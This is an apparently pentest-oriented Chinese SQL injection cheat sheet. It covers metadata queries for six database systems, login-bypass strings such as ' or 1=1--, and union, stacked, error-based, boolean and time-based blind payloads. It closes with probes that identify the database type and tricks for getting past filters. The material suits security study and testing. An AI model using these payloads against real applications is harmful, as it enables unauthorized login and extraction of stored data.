各版本数据库语句备忘

简介

常见SQL版本

  • MySQL

  • Oracle

  • SQL Server

  • PostgreSQL

  • DB2

  • SQLite

常用常量

MySQL

常用函数

字符串函数

  • database()：显示当前数据库

  • user()：显示当前用户

  • version()：显示数据库版本

  • @@version_compile_os：显示操作系统版本

  • @@version_compile_machine：显示操作系统位数

  • @@datadir：显示数据库文件存放路径

  • @@basedir：显示数据库安装路径

  • @@hostname：显示数据库主机名

  • @@port：显示数据库端口

功能函数

  • GROUP_CONCAT(name)：将多个值拼接成字符串

  • concat(a,b)：将a和b拼接成字符串

  • substr(str,pos,len)：截取字符串

  • mid(str,pos,len)：截取字符串

  • left(str,len)：截取字符串

  • right(str,len)：截取字符串

  • ascii(str)：返回字符串第一个字符的ASCII码

  • sleep(5)：让数据库等待5秒

  • updatexml(xml_doument,XPath_string,new_value)：更新XML内容

  • extractvalue(xml_doument,XPath_string)：提取XML内容

information_schema库

SCHEMATA表

字段：SCHEMA_NAME

-- 获取当前数据库所有库名
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA;

TABLES表

字段：TABLE_NAME（表名），TABLE_SCHEMA（表对应的库名）

-- 获取某个库的所有表名
SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'xxx';

COLUMNS表

字段：TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, COLUMN_TYPE

-- 获取某个表的所有列名
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME = 'xxx';

Oracle

常用函数

字符串函数

user：显示当前用户 sysdate：显示当前时间 version：显示数据库版本

功能函数

  • ascii(str)：返回字符串第一个字符的ASCII码

  • chr(num)：返回ASCII码对应的字符

  • substr(str,pos,len)：截取字符串

  • dbms_pipe.receive_message(('a'),5)：让数据库等待5秒

  • dbms_lock.sleep(5)：让数据库等待5秒

ALL_USERS表

USERNAME：用户名（相当于模式名） ACCOUNT_STATUS：账户状态

-- 获取当前数据库所有用户（模式）
SELECT USERNAME FROM ALL_USERS;

Notes 在 Oracle 数据库中，每个模式相当于一个独立的数据库用户，可以包含表、视图、函数、存储过程等数据库对象。请注意，这里使用的是 all_users 视图，它包含了所有的数据库用户，即模式的列表。

ALL_TABLES表

OWNER：表所属用户 TABLE_NAME：表名 TABLESPACE_NAME：表空间名

-- 获取某个用户的所有表名
SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER = 'xxx';

ALL_TAB_COLUMNS表

OWNER：表所属用户 TABLE_NAME：表名 COLUMN_NAME：列名

-- 获取某个表的所有列名
SELECT COLUMN_NAME FROM ALL_TAB_COLUMNS WHERE TABLE_NAME = 'xxx';

PostgreSQL

常用函数

字符串函数

  • current_database()：显示当前数据库

  • user：显示当前用户

  • version()：显示数据库版本

功能函数

  • ascii(str)：返回字符串第一个字符的ASCII码

  • chr(num)：返回ASCII码对应的字符

  • substr(str,pos,len)：截取字符串

  • string_agg(name,',')：将多个值拼接成字符串

  • pg_sleep(5)：让数据库等待5秒

information_schema库

同MySQL

SELECT table_name FROM information_schema.tables WHERE table_schema = 'your_schema_name';
-- 时间盲注语法
select case when (ascii(substr((<查询语句>),{i},1))>{mid}) then pg_sleep({sleepTime}) else pg_sleep(0) end

DB2

常用函数

字符串函数

  • current server：显示当前数据库

  • current user：显示当前用户

  • version()：显示数据库版本

功能函数

  • ascii(str)：返回字符串第一个字符的ASCII码

  • chr(num)：返回ASCII码对应的字符

  • substr(str,pos,len)：截取字符串

  • sleep(5)：让数据库等待5秒

syscat.tables表

tabschema：表所属用户 tabname：表名 owner：表所有者 type：表类型 remarks：表备注

-- 获取某个用户的所有表名
SELECT tabname FROM syscat.tables WHERE tabschema = 'xxx';

syscat.columns表

tabschema：表所属用户 tabname：表名 colname：列名 typename：列类型 length：列长度 scale：列精度

-- 获取某个表的所有列名
SELECT colname FROM syscat.columns WHERE tabname = 'xxx';

SQL Server

常用函数

字符串函数

db_name()：显示当前数据库 user_name()：显示当前用户 @@servername：显示数据库主机名 @@version：显示数据库版本 @@spid：显示当前连接ID @@dbid：显示当前数据库ID @@language：显示数据库语言

功能函数

ascii(str)：返回字符串第一个字符的ASCII码 char(num)：返回ASCII码对应的字符 substring(str,pos,len)：截取字符串 waitfor delay '0:0:5'：让数据库等待5秒 IF(1=1,waitfor delay '0:0:5',1)：如果1=1，则让数据库等待5秒，否则返回1

sys.schemas

  • name：模式名

  • schema_id：模式ID

-- 获取当前数据库所有模式
SELECT name FROM sys.schemas;

sys.tables

  • name：表名

  • object_id：表的对象标识符

  • schema_id：表所属模式ID

-- 获取某个模式的所有表名
SELECT name FROM sys.tables WHERE schema_id = (SELECT schema_id FROM sys.schemas WHERE name = 'xxx');

sys.columns

  • name：列名

  • object_id：列所属表的对象标识符

-- 获取某个表的所有列名
SELECT name FROM sys.columns WHERE object_id = (SELECT object_id FROM sys.tables WHERE name = 'xxx');

SQLite

常用函数

字符串函数

  • sqlite_version()：显示数据库版本

  • sqlite_source_id()：显示数据库源码ID

  • sqlite_user_version()：显示数据库用户版本

功能函数

  • ascii(str)：返回字符串第一个字符的ASCII码

  • char(num)：返回ASCII码对应的字符

  • substr(str,pos,len)：截取字符串

  • sleep(5)：让数据库等待5秒

sqlite_master表

  • type：对象类型

  • name：对象名

  • tbl_name：表名

  • sql：建表语句

-- 获取当前数据库所有表名
SELECT name FROM sqlite_master WHERE type = 'table';
-- 获取某个表的所有列名
SELECT sql FROM sqlite_master WHERE type = 'table' AND name = 'xxx';

基本流程

  1. 判断是否存在注入点

    • 必要条件：用户输入的内容可以成为SQL语句的一部分

    • 可能存在的注入点：GET/POST/COOKIE/HTTP头/Referer/Server等

  2. 判断注入类型

    • 联合查询注入：在一条语句中执行多条语句

    • 布尔型注入：根据页面返回的结果判断是否存在注入

    • 报错注入：根据页面返回的错误信息判断是否存在注入

    • 堆叠注入：在一条语句中执行多条语句

    • 盲注：根据页面返回的结果判断是否存在注入

  3. 获取信息

    • 库名->表名->列名->SELECT <列名> FROM <表名>

万能密码

  • admin' --

  • admin' #

  • admin'/*

  • ' or 1=1--

  • ' or 1=1#

  • ' or 1=1/*

  • ') or '1'='1--

  • ') or ('1'='1--

  • 以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

注入类型

联合注入

语法结构

<原语句> UNION SELECT <列名> FROM <表名>

Notes

  • "<原语句>"表示"SELECT <列名> FROM <表名> WHERE <条件>"，下同

Notes

  • 联合查询的两个表的列数必须相同（通过order by来判断）

堆叠注入

语法结构

<原语句>; <SQL语句>

报错注入

可见报错

Notes

  • 当SQL语句执行错误，页面出现报错详细内容时，可以通过报错信息来获取数据库信息

语法结构

<原语句> AND CAST((<查询语句>) AS int)=1

Notes

  • CAST函数：将查询结果转换为int类型

  • 当CAST的返回值是文本时，会报错并抛出内容

AND CAST((SELECT xxx FROM xxx) AS int)=1--

updatexml

updatexml(xml_doument,XPath_string,new_value)

Notes

  • 第一个参数：XML的内容

  • 第二个参数：是需要update的位置XPATH路径

  • 第三个参数：是更新后的内容

  • 所以第一和第三个参数可以随便写，只需要利用第二个参数，他会校验你输入的内容是否符合XPATH格式

  • 加上“~”就可以让XPATH校验失败

  • 如：admin' or updatexml(1,concat(0x7e,database()),0)#

extractvalue

布尔盲注

条件响应盲注

  • 当SQL语句执行正确时，页面出现某些内容，而错误时不显示该内容，可以进行布尔盲注

<原语句> AND <条件>

条件错误盲注

  • 当SQL语句执行错误时，页面出现报错（没有详细内容），可以进行布尔盲注

-- MySQL
<原语句> AND (SELECT CASE WHEN (<条件>) THEN 1/0 ELSE '' END)
-- Oracle
<原语句> AND (SELECT CASE WHEN (<条件>) THEN TO_CHAR(1/0) ELSE '' END FROM dual)
-- PostgreSQL
<原语句> AND (SELECT CASE WHEN (<条件>) THEN cast(1/0 as text) ELSE '' END)

  • 条件为真时，执行1/0，报错（除数不能为0）

时间盲注

基本语法

-- MySQL
<原语句> AND SLEEP(5)
<原语句> AND if(1=2,1,SLEEP (5))
-- PostgreSQL
<原语句>||pg_sleep(<时间>)
<原语句>||IF(1=2,1,pg_sleep(<时间>))
<原语句>;/*%3B*/SELECT+CASE+WHEN+(<条件>)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END
-- Oracle
<原语句> AND dbms_pipe.receive_message(('a'),5)

-- SQL Server
<原语句> AND WAITFOR DELAY '0:0:5'

附：盲注中判断数据库类型

-- MySQL
ASCII(SUBSTRING(@@version, 1, 1)) = 77

-- Oracle
(SELECT COUNT(*) FROM v$version WHERE banner LIKE '%Oracle%') > 0
(SELECT '1' FROM dual) = '1'

-- PostgreSQL
(SELECT COUNT(*) FROM pg_stat_activity) > 0 

-- SQL Server
(SELECT COUNT(*) FROM sys.databases WHERE name = 'master') > 0

-- SQLite
(SELECT COUNT(*) FROM sqlite_master WHERE type = 'table') > 0

-- DB2
(SELECT COUNT(*) FROM sysibm.sysdummy1) > 0

常见问题

  1. 有时存在查询语句长度限制（Unterminated string literal：未终结的字符串）

绕过技巧

被过滤内容
替代

空格

/**/ 或者 ()

=

like

substring/mid

right 或者 left

绕过union，select，where等

使用注释符绕过

常用注释符：

//，-- , /**/, #, --+, -- -, ;,%00,--a

用法：

U/**/NION/**/SE/**/LECT/**/user，pwd from user

使用大小写绕过

id=-1'UnIoN/**/SeLeCT

内联注释绕过

id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables/*!WHERE*//*!TaBlE_ScHeMa*/like database()#

双关键字绕过

id=-1'UNIunionONSeLselectECT1,2,3–-

Previoussqlmap绕过脚本NextCSRF